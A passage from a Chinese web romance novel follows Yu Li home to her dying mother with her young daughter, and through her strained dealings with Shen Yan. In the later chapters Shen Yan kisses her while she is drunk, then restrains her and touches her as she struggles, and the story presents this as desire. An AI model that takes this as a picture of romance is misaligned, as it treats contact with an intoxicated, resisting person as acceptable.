有媒体记者采访问他:“沈董市长,我看沈氏近几年财报,每年几乎都在以亿为单位加大对该医疗项目的投资,颇有点不计一切成本,不计代价的架势,跟沈氏在其他方面的投资相比,明显不是贵公司的作风,请问是什么促使您一定要突破这样技术?” 沈砚目光往下台下提问的年轻记者,轮廓锋利的俊脸,在这样正经场合,严肃且得体,沉默片刻后,他用朗肃的声音说:“我有一个弟弟,他叫沈廷屹。曾经在国外读研时,跟我分享他的梦想……” 沈砚下台时,台下的掌声都不曾停下,助理跟他耳语道:“老板,喻小姐在半个小时前登上了回北城的飞机。” 沈砚微怔了片刻,眸光闪了闪,不知道想到什么,提的第一个问题是:“星星呢,跟她一起?” “对。” 沈砚眉头微皱,有些担忧,吩咐:“安排车子去机场接人。” “您放心,已经安排好了。”助理很懂眼色,回答道,随即有些欲言又止的提醒他,“喻小姐这次回来,很有可能是为了蒋太太的事,蒋太太的身体已经不行了。”助理说得很隐晦。 沈砚刚好走到后台阴影处,俊脸隐没在暗色里,看不分明。 司机没接到人,喻梨选择打车。 她带着星星直接回了蒋家别墅,徐凤芝不乐意住医院,坚持要在家里休养。 大概蒋静姝提前预告过,喻梨回来,蒋然不奇怪,只是跟她手上牵着的小家伙大眼瞪小眼,愣了,蒋静姝也没提喻梨多个女儿的事啊。 喻梨牵着星星的手,提醒她:“叫外公。” 星星抱着妈妈的腿,一路长途跋涉,还有点认生,好半天才扭扭捏捏叫出一声:“外公。” 声音软软糯糯,跟猫儿似的,萌得蒋然心立刻快化掉,赶紧应一声:“唉,是外公,外公抱。”弯腰想抱一抱,张开手才发现自己手上还沾着侍弄花草的泥土,有点讷讷的收回去,“外公去洗手,洗完手再抱你。”说完,就迫不及待要去花房旁边的洗漱池洗手。 那副样子,竟然有点窘迫,星星忍不住弯了弯唇,觉得外公很可爱。 喻梨一回来,发现蒋家萧条了许多,佣人说蒋然在花房,她以为徐凤芝也在这儿,就牵着星星直接到了花房。 这会儿喉咙哽了哽,问蒋然:“蒋叔,我妈呢?” “楼上看书呢。”洗完手的蒋然已经把星星抱起来,忍不住感叹一句,“嘿,小家伙怪沉的,真壮实。壮实点儿好,健康,叫什么名字?” 喻星抢答:“我叫喻星,外公,星星,一闪一闪亮晶晶的星星。” 蒋然乐得合不拢嘴:“星星这名字好,星星漂亮,咱就叫这个。” 说着,跟喻梨一起,抱着喻星上楼了。 徐凤芝在露台看书晒太阳,看得也不是什么正经书,就时尚杂志,有喜欢的宝石、漂亮的衣服她就折一页,忽悠蒋然给她买。 早就听到楼下的动静了,她也不理,偏头在藤椅上装睡。 她确实已经极为消瘦了,戴一顶洋气的彩色针织帽子,身上盖着一块奢牌格子毛毯,瘦削的脸颊上坚持化了点淡妆,隐约依然带着年轻时的风韵,要不是放在毛毯上的手在抖,喻梨也看不出这老太太在装睡。 “妈。”喻梨叫了一声。 徐凤芝懒得搭理她。 喻梨把星星 推过去:“星星叫外婆。” 星星有点害怕外婆的样子,但是在飞机上喻梨跟她讲过,外婆生病了,可能不大好看,但是星星不要害怕,因为外婆是很亲很亲的人,要爱外婆。 星星就大着胆子靠近外婆,手指无意识抓着外婆漂亮的花毯子,试探着喊了一声:“外婆,我是星星,星星要爱外婆。” 这一声声儿的,软乎乎,糯叽叽,徐凤芝哪里舍得不搭理,彻底装不下去,睁开眼,入眼的就是个漂漂亮亮,水灵灵的小女孩,比喻梨小时候还要惹人爱怜,徐凤芝下意识:“唉”得应一声,不自觉补一句:“外婆也爱星星。”说着,忍不住抬手摸了摸她头。 星星眨了眨眼,一下子忽然觉得外婆也没有那么可怕了。 但对上喻梨,徐凤芝语气可没那么好:“你回来干什么?”几乎快翻她一个白眼。 喻梨努力憋住眼泪,克制着嗓音回她:“回来过年。” 蒋然一下子就想起:“差点儿忘了让张嫂加菜,我去跟张嫂看看咱晚上的菜单。” 留下空间给母女俩。 喻梨坐在她旁边,摸到桌上的水凉了,给她添了点儿热的。 徐凤芝还在问星星叫什么,知道自己多大吗,上幼儿园没有,哎哟,你长得这么可爱,是不是吃可爱多长大的哟。 星星一一回答了,最后跟外婆说,可爱多是冰淇淋,冰淇淋只能吃一小口哦,妈妈要数数的。 徐凤芝碰到这么个小糯米团子,精神都好得多,越看越爱,跟她讲悄悄话:“去,寻宝去,外婆的盒子里有好多亮晶晶的宝石,全部都给你,去玩去。” 星星看一眼妈妈,喻梨跟她点点头,小女孩就从外婆怀里钻出来,爬到她卧室的抽屉里,寻宝似的找起来,一会儿问问外婆:“是这个里面吗?” 徐凤芝摇摇头,跟她指梳妆台的方位。 星星比三岁多的小孩高一点儿,果然摸到她盒子,打开后眼神立刻亮起来,爱不释手的玩起里面的首饰。 徐凤芝看得发笑说:“跟你小时候一样,看到漂亮的东西就移不开眼。养她得费些钱。” 喻梨说:“还好,她很乖,拿到红包会跟我说,‘妈妈,我把钱都给你,你不要去上班。’” “童言童语最贴心,大了就不行,会跟你叛逆、赌气,冷战、伤你的心。”徐凤芝望着不远处玩的星星,淡淡道。 喻梨眼泪憋不住,偏过头去,簌簌往下滚,但真的不想徐凤芝看见。 “你冒着风险把她带回来,沈家那边怎么办?” 喻梨回过头,湿红的眼睛惊讶望着她。 徐凤芝说话都有点废力气,咳嗽了几声:“你以为我傻,你说什么,我信什么。孩子出生,长得那么像沈家的,我费了点儿功夫,偷偷验过,没想到会是沈砚的。” “那您为什么?”喻梨喉咙哽咽,想说您为什么没拿星星交换,但她说不下去。 徐凤芝从头到尾都没有看她,只是望着不远处玩耍的孙女,仿佛望不够似的:“你跳下去我就知道你是真的不想活,可我总得找点儿让你活的希望,我要是拿她去换,你拿什么活?” 喻梨闭了闭眼,眼泪根本止不住,成串成串往下掉,整个人都在发抖。 “可我也不想你当单亲妈妈,养孩子没你想得那么容易,得吃多少苦啊,你得多不懂事,才想一个人养她啊。”徐凤芝说得废力气,口吻里,对她依然仿佛是浓浓的失望,又加了丝心疼。 “妈妈你快看。”星星抱着盒子跑乐颠乐颠地跑过来,“好多,好漂亮。” “妈妈你怎么哭了?”星星呆呆的,把盒子放在茶几上,抬脚去擦喻梨眼泪。 徐凤芝把她招呼过来:“来,星星,来外婆这儿,别学你妈妈当个小哭包,她是个傻的,又笨,咱们星星不一样,要学着聪明一点,坚强一点,别把什么事都看得很大,也很重,人生就那么几十年,想怎么怎么活,管别人说三道四!” 第69章 第69章想哭的时候别憋着,小爷…… 徐凤芝嘴巴上说着嫌弃的话,但是生命的尽头,被小外孙女哄着,她连吃饭都能多吃小半碗。 蒋然看着也高兴。 书房里。 蒋然应喻梨要求,将徐凤芝这半年的抗癌情况以及症断书拿给喻梨看:“你妈妈这人,不信什么命,从来相信人定胜天,查出来就积极配合治疗,我们了解到美国一家医院在肿瘤这块儿有目前最先进的医疗条件,就飞过去,半年里,你妈妈遭了不少罪。我也每天给她加油打气,本来已经好转了,她身体好一点儿,想去旅游,我就陪她国外到处转转,直到半个月前,诊断出肿瘤扩散到脑部,医生建议她采取保守治疗,她想回来,我就陪她回来了。” “不能再试试别的办法吗?”喻梨眼睛有些肿,嗓音很沉重,但她知道,蒋然一定尽了全力了。 蒋然叹口气:“她说不想再折腾了,不想总是待在医院里,就算真到那一步,也想走得舒舒服服的,手术、化疗确实可以延长生命体征,但是太疼了,她那么要强,半夜里疼得直抽抽,谁都帮不了她,我看着也心疼。” 喻梨彻底沉默。 隔了一会儿,她才说:“谢谢蒋叔,我妈妈,您费心了。”说完,推过去一张银行卡,又朝蒋然深深鞠一躬。 蒋然:“你这孩子,想什么呢,你妈妈是我的责任,拿回去。” 喻梨说:“是我想给我妈妈尽一份孝心。” 国外的抗癌治疗,一定不会是一笔小数目,蒋然的商超从那年开始,效益年年下滑,他身体也不好,如今交给的职业经理人在打理,蒋家早就没有曾经的风光了。 蒋然倒不好推拒了。 喻梨哄完星星睡觉后,忽然很想出去走走。 北城的冬天比南城冷多了,她也没走远,就在别墅附近的开放公园里,找了一个秋千架坐下。 夜深,公园小型篮球场,还有几个在打篮球的精神小伙。 不时传来几声篮球撞栏的响声。 喻梨晃着秋千,沉默地想着许多事情,脸色很恍惚,球场内不知道是谁忽然吼了句:“卧槽,下雪了。” “还真是。” “越来越大,回了!” “散吧!散吧!” 喻梨仿佛没听到,脑袋靠着秋千架,有雪花飘到她头顶、脸颊上,她无知无觉。 头顶的光忽然暗下来,是有人往她头顶撑了一把伞,沈砚穿一件黑色大衣,骨节分明的手指似乎隐隐被冻得有些发红,暗夜里,街灯微弱的光影将他颀长的身影拉得很长。 喻梨抬头,恍惚了片刻,似乎才认出他,两个人平静对视了很久。 喻梨开口,嗓音染了冬雪的凉意,很轻:“你应该……很高兴吧。我妈妈这个下场,符合你的期许吗?” 沈砚下颌动了一下,桃花眼望着她,像是也染了她眼底的伤心,片刻后说:“你知道的,我不会。” 喻梨瞳孔微缩,也知道自己其实是在说气话,很快敛眉,沉默。 “有什么能帮忙的吗,北城或者国外的专家,你需要的话……” “我对你没有任何期待。”喻梨打断道,看他的目光很淡,从重逢开始,一直没有变过。 沈砚撑起伞的手指一紧,雪花飘落到轮廓锋利的俊颜上,刺骨的冷。 喻梨起身绕过他时,被她攥紧了手臂,他偏头看她,目光里含着隐痛,嘴唇动了动,想说什么,看她已经很累的模样,却说不出口。 喻梨拂开 他手,沈砚这次没有追,只是攥紧了拳头,微微闭了闭眼。 有星星陪着,徐凤芝精神好很多,一老一小,还开始讲悄悄话,星星常常趴在徐凤芝耳朵上,奶声奶气地跟徐凤芝告状,大多是‘外婆,妈妈不让我吃糖’或者‘外婆,妈妈不让我看电视’之类,小姑娘最近越发调皮,仗着有蒋然跟徐凤芝撑腰,有恃无恐得很。 但有蒋然跟徐凤芝带星星,喻梨也轻松点儿,可以分出部分时间,远程处理南城公司那边的一些事务,以及查徐凤芝的就诊资料,动用自己所有的人脉,开始走蒋然走过的老路,期许徐凤芝的病情能有微末的希望。 蒋静姝回家看到这么个糯米团子,惊呆了,被小糯米团子的糯叽叽的‘姨妈’俘获,又当场把喻梨揍一顿,气呼呼质问她上次去南城,怎么没告诉她自己多了个可爱水灵的大侄女,她都那么掏心掏肺了,还是不相信她是不是? 但全家谁也没有问孩子的爸爸是谁,蒋然是极有分寸的,看喻梨不解释,他也不问,也警告好奇的蒋静姝不要多问,收紧口风,不要乱传。 年关到得很快,到处都是张灯喝彩,喜气洋洋的,蒋然推着徐凤芝的轮椅逛自家商超,置办年货,蒋静姝戴着鸭舌帽和口罩,把星星放在购物车里,逛到零食区,星星快乐得不得了,指什么姨妈就把什么丢进购物车里,全都是她爱吃的。 但是姨妈忽然被好几个人围上来,要签名,星星有点害怕,坐在购物车里,眨巴着眼睛有些无辜得等给‘粉丝’签名的姨妈,忽然,她坐的小推车被人推了一下,然后越挤越远,星星差点儿掉下来,还好有个阿姨即使扶住她,陌生阿姨把她抱下来,问她有没有吓到,星星摇了摇头。 陌生阿姨又弯腰问她:“你叫什么名字呀?” 喻星眨巴着眼睛不肯说,妈妈教过她,不要跟陌生人说话,但陌生阿姨旁边还有个小哥哥,比果果高好多,也比果果哥哥好看。 陌生阿姨说:“许佑,你牵好妹妹,这里人多,千万别弄丢了。” 哥哥就伸手过来要牵她,星星有点害怕,但是她喜欢这个帅气的小哥哥,就还是有点腼腆的让人家牵手了。 小哥哥蹲下来问她:“你就是我妹妹对吗?” 星星没吭气。 许佑小小年纪,气质出尘,看妹妹的目光温和柔软,非常容易让人亲近:“我叫许佑,是你哥哥,你叫什么?” 这次星星很快回答:“星星,一闪一闪亮晶晶的星星。” 许佑跟沈清相互看了看,都笑。 “你好呀,星星。”沈清微微弯腰,看她的目光爱怜又宠溺。 把星星看得有点害羞。 她喜欢北城,北城有外公,外婆,有姨妈,还有好多好多看起来也喜欢她的人。 等蒋然和蒋静姝终于意识到星星不见找过来时,星星已经乖乖坐在超市旁边的休息区,看许佑给她变魔术了。 蒋然客气道:“真是太感谢沈小姐,还好您让超市的人联系我们,不然真是吓得魂都没有了。” 沈清:“举手之劳而已,蒋叔客气了。”说着,转头叫许佑,“许佑,跟妹妹说再见。” 许佑便摸了摸妹妹的头,温柔道:“下次见,星星。” 星星还有点舍不得:“下次还可以看你变魔术吗?” “可以。”许佑微笑。 许佑和沈清很快上了门口豪车,保镖恭敬地过来替母子俩拉开车门。 许佑一上车,跟沈清说:“我喜欢这个妹妹。” 沈清叹口气:“喜欢也没用,你舅舅恐怕很难追回你舅妈。” 许佑就微微叹口气:“舅舅真逊。” 蒋然跟蒋静姝看一眼,都察觉到今天事情的不同寻常。 沈清总不会无缘无故,心血来潮,忽然来逛他们家商超吧。 喻梨今天跟陆哲碰面,她北城最大的人脉,大约只剩陆哲。 陆哲把国外专家回复的邮件等资料汇总拿给她:“跟美国那边专家的意见一致,都建议保守治疗,目前阶段,动手术也只是增加病人的痛苦,无法治愈。” 喻梨目光黯淡。 “药物控制是最好的,目前癌细胞扩散到脑子里,她会经常呕吐疼痛,减轻你妈妈痛苦,延缓癌细胞扩散是你唯一能做的。” “我知道了。”喻梨已经没刚回来那天那么难受了,人的痛苦,总是会随着时间慢慢压抑下来,她在学着接受和面对。 陆哲推了一张名片给她:“刚从国外回来的肿瘤专家,据说任职的国外公司在防止肿瘤扩散方面有新研究和新方向,他有一整个专家组,是目前全国最牛的肿瘤专家团,应该能帮到你。” 这大概是唯一的好消息:“谢谢。” 陆哲有些欲言又止,想了想还是说:“不是我能约上的人脉,我也是昨天接到沈……“他顿了一下,似乎说得不太自然,“他的电话,说如果你找我,让我把这张名片推给你,还让我不需要让你知道,但怎么说呢……我也不想瞒着你,你用不用自己考虑吧。” 喻梨抬头看望着他,微微愣了一下。 陆哲掩饰般咳嗽了一下:“我曾经听到点关于你妈和……咳咳的小道消息,以他的立场来说,能做到这样其实也不容易。” 喻梨没有说话。 陆哲赶紧作投降状:“不是为他说话啊,你知道我打小看不惯他这装逼犯。” 喻梨‘噗嗤’一声,笑出来。 陆哲隐约松口气,摩挲了一下咖啡杯:“对嘛,笑一下,才像我认识的小梨子。” “你不也变了。”喻梨微笑。 陆哲摸一下下巴::变哪儿了?爷不还是醉生梦死,今朝有酒今朝醉。” “变帅了。”喻梨说。 陆哲就臭屁:“行,你眼光还是一如既往得顶。” 喻梨有些乐不可支。 陆哲忽然拍了拍肩膀:“想哭的时候别憋着,小爷肩膀借你靠,人生能有多大事儿过不去啊。” 喻梨心里有些酸,微笑:“好。” 走时,她还是带上了那张名片。 第70章 第70章这一次,被他堵住唇,她…… 喻梨回去时,蒋静姝将下午在商超遇到沈清的事跟她说了。 喻梨沉默片刻,表示知道了,蒋静姝还想问什么,看见喻梨脸色,也不好多问。 喻梨坐在卧室露台上,摩挲着那张名片,最后还是选择联系对方。 第二天,喻梨带着徐凤芝去会见专家组,徐凤芝依旧不肯住院,做完各种检查仿佛已经耗尽心力,小孩子一样闹着要回家。 专家组会诊的结果,基本跟蒋然他们在国外检查的一样,只能尽力减少患者痛苦,昂贵的针剂有抑制癌细胞扩散的效果,但也最多延长一点时间而已。 但只要能延长哪怕一天时间,喻梨都愿意陪徐凤芝尝试。 她态度坚决,即使针剂治疗费高昂,也在所不惜,徐凤芝都懒得劝她。 蒋家佣人每天能收到一束小黄花和贺卡,以为是蒋静姝粉丝送的,就把花插在花瓶里,放进蒋静姝房间。 蒋静姝不常住家里,这次回来终于发现,打开贺卡一看,只有道歉的三个字,钢笔字笔锋遒劲有力,隐约带着墨香,她觉得莫名,多问了几句,才知道是佣人闹出的乌龙,哪有粉丝会送道歉贺卡,而且粉丝怎么会知道她住址。 又开始猜测是不是有人送给徐凤芝的? 两个人正猜来猜去,喻梨经过,拿走花和贺卡,淡淡道:“应该是给我的。” 说完,将花和贺卡一并扔进垃圾桶,又提醒方姨:“从明天起,再送来,直接扔掉就可以。” 方姨看一眼垃圾桶,再看一眼脸色清冷严肃的喻梨,恭敬应了。 剩蒋静姝抱着胸脯,一脸玩味:“谁天天给你送花,还亲手写道歉信,男朋友?”以为她有交往固定男友。 “没有。”喻梨否认道,又看一眼她在家不修边幅的打扮,“你最近没通告?” “我也就过年能喘口气,休息几天。”蒋静姝叹口气,懒散得往沙发上躺,兜里摸出手机邀请她:“要不要打会儿游戏?” “我要出门。”喻梨已经换好出门的衣服。 蒋静姝瞥她一眼:“去哪儿,不带星星吗?” “降温了,怕她感冒。不带了。”喻梨走到玄关换鞋。 蒋静姝一骨碌从沙发上爬起来:“那我带我她玩会儿游戏。” “别给她看太多手机。”喻梨交代一句。 喻梨打算去看看周远。 带了点茶叶当年礼,是她们公司合作的一个品牌,名气不大,但她知道周远不在乎这些。 周远的小院子还是老样子,仿 佛什么都没变,老槐树的冬日里只剩虬劲的枝干,光秃秃的,把湛蓝的天切割成块状。 喻梨双手插兜,闭着眼睛在树下站了一会儿,周远养的鸽子从蓝天扑腾着翅膀飞过,能听到鸽子振翅的声音。 周远新娶的太太给她倒茶,又端来茶点,热情招呼她坐下。 “谢谢许阿姨。”喻梨动手,帮她一起摆茶点。 “不客气。老早就听远哥唠叨还有个女徒弟,现在有时候喝高了,还说‘你不知道,我那个徒弟,也就这么高点儿,上房揭瓦,爬树掏窝,野得很’。” 把喻梨说得有些窘迫:“师傅只记得我淘气。” “那可不淘气,就我这院子,哪里还没被你祸害过,这门框的彩绘玻璃,是不是你淘气拿球砸碎的,我找人换都找不到原来的老玻璃,只能不伦不类的这样应付着。”周远穿着做饭的围裙出来,颇有些心疼道。 喻梨彻底脸红。 许阿姨就推了丈夫一把:“一块玻璃,瞧你给心疼的。人家大姑娘我瞅着温柔娴静,花儿一样的,越看越耐看。几百年的老黄历,你还拿来说。” “她……温柔娴静?”周远不可思议。 喻梨喝茶不语。 “菜都择好了?”许阿姨转移话题。 “择好了,汤都煲上了。” “那我来炒菜,让梨子也尝尝我手艺。你们师徒俩说会儿话。”说完,示意周远把围裙给她。 隔会儿,周远就坐过来,仔仔细细瞅她两眼。 “您看什么呢?”喻梨摸摸脸,以为自己脸上有脏东西。 “是沉静了些,瞅着没以前跳脱,国外也吃了点苦头吧。”周远抿了口茶。 喻梨就说:“先在国外待了两年,又去南城待了两年。这两年自己做点直播小生意。” 周远有些嗔怪:“怎么想着去南城,人生地不熟的。” “我爸故乡在那里,他也是苦过来的,山里面,本来只是想去看看,后来就留下来了。”喻梨实话实说。 提起喻父,周远有些沉默,摩挲着紫茶壶杯:“你爸确实挨过苦,能爬到那个位置,也不容易,但他确实做错事。” 喻梨轻轻‘嗯’了一声,“我晓得的。” “你母亲身体呢,我听说了,目前怎么样?” “医生说也就这三四个月,建议保守治疗,动手术……没什么用。” 周远就叹口气,隔了会儿说:“家里堆了不少东西,都是别人送的,有些野生药材什么的,我跟你许姨也用不上,你待会儿自己挑去。” 喻梨笑笑:“那我不跟您客气。” “我这儿年年等你来搬东西,年年等不到人。”四年,喻梨也就过年打个电话,周远是嗔怪的。 “抱歉,师傅。”喻梨有些愧疚。 “你啊,就是犟,认定了,八头牛都拉不回,我知道,得等你自己想明白。”周远叹口气。 喻梨转移话题:“你跟许姨,你们怎么会?什么时候?”像是不知道怎么问,喻梨表达得有些许尴尬。 周远看一眼厨房:“你到我这个岁数会明白,人啊,最后都得有个伴,以前的人当然不会忘记,但是生活总要继续。” 喻梨沉默,师娘走后,师傅伤心了很久,一直没有再娶,没想到最后还是结婚了。 “去看廷屹了吗?”周远忽然问。 喻梨愣了一下,摇头。 “没事儿就抽空看看,别躲他,开心的不开心的都跟他讲讲,多看看就没那么伤心了,再想想他要是在,会希望你过什么样的生活。”说着,周远抬手给她续茶。 喻梨望着滚烫的茶水,陷入沉思。 晚上陪着周远不知不觉多喝了几杯。 许姨想劝,周远不让,看她喝得瓷白的脸颊红扑扑,叹口气:“让她喝点儿,年轻人现在压力大,她把自己绷得太紧,家里又出事,还能有哪儿让她能放松放松多喝两口的地方?” 被许姨嗔怪地拍了一下手臂,见喻梨明显有些醉的模样,拍一下老周手臂:“那也得看是什么酒,这酒烈着呢,你这师傅当得,就是不着四六!哪有这么给徒弟灌酒的。” 周远点了根烟笑。 沈砚到得很快,穿得很正式,三件式的西服外随意搭了一件呢绒外套,明显是刚从比较正式的场合下来的。 周远正坐在院子里摆着棋盘自己跟自己下去,见他步履匆忙,随口问了句:“刚从局上下来?” “是。”沈砚颔首。 周远捏着棋子:“那算给你添麻烦了?” 沈砚低沉的嗓音在夜色里带着颗粒感:“不麻烦,人在哪儿?” “里屋,你许姨刚给她擦完脸,你轻点儿。” “嗯。” 喻梨正歪在沙发上休息,睡得小脸粉扑扑,发丝陷进脖颈里,仿佛觉得不舒服,不时皱眉挠一下。 沈砚低眸有些贪恋地瞅了片刻,星星眉毛和鼻梁的部分像她,皱眉的时候也很像,仿佛总带着一丝撒娇的意味。 “喻梨。”他轻轻拍她肩膀,柔声提醒她,“起来,回去了。” 大约他声音太温柔,跟梦境里的人重合,喻梨睁开眼,有些迷茫得看了他半响,忽然冲他伸手:“那你抱我回去。” 沈砚整个人僵了片刻,些许昏黄的灯光下,整个人像是被人开了一枪,心脏狂跳。 喻梨已经搂住他脖子,娇憨得呢喃:“你抱我嘛,廷屹。” 她身上沾染着酒气,混合着香水的味道,胸脯贴上来,简直跟要挂他身上一样,暖烘烘得凑近他,那样全心全意的依赖。 可她叫他廷屹,像四年前,将他认错那样。 “好。”沈砚喉结滑了滑,跳动的心脏慢慢凉却,却也舍不得推开她,抬手将她从沙发上抱起来。 走到院子里时,许姨追出来:“还有包。” 沈砚抱着她,腾不开手,看一眼怀里熟睡的人:我让人来拿。” 说完,抱着喻梨跨出院门。 剩许姨拿着喻梨的包,感叹一句:“还从没见这位有这样的耐心,听说不少想跟沈家结亲的,还有不少人打我主意,想找我撮合呢,没想到……” 周远落下一子,冷笑:“那也得他肯。” 许姨倒一时有点看不懂了:“你不是说小梨子跟廷屹……” 周远不想下了,把棋子扔回棋盒里,叹口气:“都是命。” 许姨不说话了,很快有保镖进来,问好,恭敬地带走了喻梨的包。 沈砚将喻梨抱到车上,她坐得歪歪扭扭,等他上来,很快倒在他肩膀上,又像是不满足似得,往他怀里靠,咕哝了一句‘热’。 沈砚就吩咐司机调低点温度。 又问她:“要不要喝点水?” 她没说话。 隔了会儿,又像是觉得不舒服似的,往他怀里拱了拱,沈砚把大衣脱下,折叠,给她当枕头,这回她舒服了,小脸都舒展开,抱着他腰肢,像是把他当成抱枕,整个上半身躺在他怀里。 好在加长轿车空间大,够她折腾。 沈砚轻轻帮她捋了捋不安分的发丝,看她难得睡得香甜,微微一笑。 豪车外灯火阑珊,夜色璀璨。 司机很有眼色的,开得缓慢且平稳。 她不知道做什么梦,忽然叫他:“沈廷屹。” 他喉结滑了滑,没有回答。 “沈廷屹。”又叫一遍。 沈砚冷白的手指蜷了蜷,依然没吭声。 她撇了撇嘴,仿佛梦里都觉得不甘心,非要叫他答应:“沈廷……” 这一次,被他堵住唇,她呢喃声变了调,很快吞了回去。【你现在阅读的是 】 70-80 第71章 第71章沈 砚忽然将星星抱起来,…… 黑色加长轿车在蒋家别墅区外停驻了很久。 深夜的别墅区街头,街道两旁是高大乔木,灯影幽暗,街头寂静黝黑,偶尔有一两辆轿车开过,车灯光线掠过,探在轿车内的沈砚俊脸上,光影交错。 喻梨睡了约莫一个小时才醒。 她搂着沈砚的腰,身上搭了一条羊绒毛毯,睁眼时在黑暗里,有种晕乎乎的,分不清身处何地的茫然,下意识想坐起来,手上撑力,却摸到奇怪的东西,幽暗里,有人‘嘶’得一声,紧接着,喻梨额头也不知道撞到哪里,痛得她捂着额头冒眼泪。 车内顶灯很快亮起,喻梨浑浊的脑袋艰难转动,才发现自己睡在豪华车内,再转眼,看到穿着三件式西服的沈砚。 “我怎么在你车上?”喻梨捂着额头,嗓音还带着睡醒后的沙哑。 几乎同时,沈砚已经伸手过来探她额头:“撞疼了?” 两个人目光在空气中相撞,喻梨视线落在他脸上,沈砚眸光落在她额头,看那里没有异常,才收回视线。 “周远说你喝醉了。”车内带一种佛手柑的味道,淡雅清香,沈砚嗓音低沉,含着某种隐秘的喑哑,解释道。 喻梨回顾前因后果,有些懊恼,周远说是自己泡的酒,最适合冬日喝,她难得贪杯,不过两三杯下去,就晕晕乎乎的,但隐约还是有记忆,她梦到廷屹。 沈廷屹最讨厌她喝酒,她只能跟他撒娇,要他抱她,他果然抱起她,但脸色不好看,她知道惹他生气,只好撒娇一直叫他名字,非要逗他答应不可,然后…… 喻梨目光落到沈砚唇上,沈砚忽然有些不自在得双腿交叠,喻梨想起自己在黑暗中触摸到的他身体的某个部位,又下意识往下瞄了一眼,大约实在因为醉酒,思维很缓慢,显得有些呆。 她发丝睡得有些乱糟糟的,白皙脸蛋透着一点粉,颊边似乎还有印儿,黑白分明的眼睛没有平日的清冷疏离,软萌呆滞,仿佛迷失在傍晚森林雾气中的一只鹿,偏偏眼神还要无意识上下瞟,落在沈砚眼底,更像一种无辜的挑逗。 沈砚方才被她无意按出的火哧得点燃,顶级配饰的豪华车内,他桃花眼微眯,抬手松了一下领带。 下一秒,身体忽然前倾,手掌固定住她后脑勺,把她摆弄成方便接吻的姿势,薄唇已经精准叼住她唇瓣,因为用力,简直仿佛原始兽类的进攻,下颌处甚至能看清明显凸起的脉络,喻梨反应过来,抬手挣扎,沈砚另一只手仿佛预判她动作,极快地遏制住她。 “沈……”她刚呜咽出一点声响,下一瞬,又被他强势进攻,他力气非常大,不论是手上的,还是探进她唇舌之间,那样浓烈到几乎令人窒息吻,以及掌握她身体的力道,像是要将她整个身体按进自体里,成为自己的一部分。 濡湿的水声和喘息声,交错缠绵的气息,快速上升的体温,不知道什么时候,她抗拒的身体软下来,沈砚托住她后脑勺的力道也稍稍放松,另一只手改为搂住她腰肢,不知不觉,已经抱她坐到腿上。 他身上气息滚烫,唇是烫的,抚住她腰肢的手指是烫的,下半身方才被她无意碰到的地方仿佛也是濒临爆炸般的灼热,金丝镜片后,偏狭长的眼底染着浓烈欲色,绷得额角青筋都隐约凸起,从她唇齿间退出后,安抚性得啄了啄,很快又含住她下巴,脖颈,锁骨,原本托住她后脑勺的手也逐渐不安分,无师自通的从她上衣下摆探进去…… “沈砚!”擦枪走火的边缘,喻梨暗自咬了一下舌头,口吻冰冷,“别让我看不起你!” 衣服里的手指倏得停下,沈砚的俊脸埋在她的脖颈处,喻梨想离开,被他强势按回去,几乎闷在她脖颈处的嗓音喑哑:“别动,抱一下。” 她已经不是天真无邪的少女,男性跟女性天生体力的不同,沈砚某个滚烫的部位还抵着她,如果真控制不住在这里把她办了也就办了,只好一动不动乖乖任他抱着。 两个人心跳都很快,但车内气氛逐渐冷却,彼此气息都在缓缓平复。 “你叫了很多遍他名字。”沈砚忽然说,仍旧是搂住她的姿势,但身上强势感仿佛一下子卸力,陈述的口吻,克制着,压抑着某种情绪,“刚才是唯一叫我的一次。” 喻梨没搭腔,但知道‘他’指的是谁。 片刻后,她推开他,从他腿上下来。 她拉了一下上衣,以及被他差点勾下来的肩带,V领薄款毛衣露出的一截锁骨似乎还残留着热气,带着他戳出的浅浅痕迹,很欲也很诱人。 但她脸色很冷,眸色已经恢复往日的疏离冷淡,拧着包包转身去按车锁。 车门没有打开。 喻梨只能转过来脸,对上他视线,淡薄的口吻:“你也说是他的名字,我可以不计较你乘人之危,我想下车。” 沈砚看她一眼,她已经缩到车窗口,依然是避之不及的态度,无论方才那般的旖旎,沉沦的仿佛只有他。 念及此,他自嘲般扯了一下唇角:“你应该计较。” 喻梨暗地里捏了捏手指,还是同他周旋:“沈砚,别把自己放那么低,你的骄傲跟自尊不允许,放我下车。” 沈砚偏头望向窗外,别墅区在夜色里透着某种清冷的寂静,他没看她,只是有些恍惚得说:“我刚才可以抱你进去,把你交给家人,但是你睡得很香,把我当成他,我居然觉得也很好,这样天荒地老也不错的想法。” 喻梨胸口居然忽然微微一酸。 她垂眸,没有搭腔。 沈砚解开了车锁。 喻梨推门下车。 北方的深夜,出去便冻得人瑟瑟发抖,喻梨被冷风吹得脚下差点不稳。 沈砚大步追上来,他外套裹住她纤薄的身体,甚至帮她整理了一下,不让冷风透进去:“对我没有期待这种话,我知道是你真心,不被需要的感觉比讨厌更糟糕,我好像多走近一步,总会被你踹得更远。” “告诉我,我还可以怎么做?”他手指裹住她衣领的位置,桃花眼深深望向她。 喻梨抬眸:“我妈妈的事,谢谢。” 沈砚牵唇:“因为这个,所以今晚没挨你巴掌吗?” “对,因为这个,忍下来。”喻梨表述直接。 沈砚苦笑。 喻梨绕过他,进了小区。 徐凤芝状态好一些,不知道具体是真的药物起作用,还是因为喻梨跟喻星的陪伴。 年三十这天,还能跟蒋家人一起过年。 蒋然还有一个哥哥跟妹妹,家族人多,过年时,也是挤挤挨挨20人的大圆桌围成一整桌。 往年都是徐凤芝操持过年,今年换成蒋然,虽然有些许磕磕盼盼,但好在还是把年过了。 春晚的节目名单里没有蒋静姝,但有蒋静姝的对家。 因此,春晚被禁止全家观看,蒋静姝和朋友们要出去放烟花,还问喻梨和星星去不去。 星星很想去,但喻梨想陪徐凤芝守夜,徐凤芝说自己精神不济,想早点休息,让喻梨带外孙女看烟花去。 星星被裹着厚厚的跟迪士尼联名的爱莎公主羽绒服,被妈妈和姨姨带着,去了北城附近的半山腰的一家还未开放的游乐场,据说是蒋静姝是蒋静姝一个富二代朋友家里,打算年后才正式营业的一家游乐场。 年三十,游乐场弄得十分正式,不仅有奢华热闹的灯光秀,还有以冰雪奇缘为主题的花车游行。 星星开心爆了,一会儿指指安娜公主,一会儿指指爱莎女王,目光被花车游行的队伍牢牢吸引,激动得跟喻梨说话都有些乱七八糟。 蒋静姝跟朋友玩得也很嗨,在大屏幕下蹦迪,跳舞,跨年。 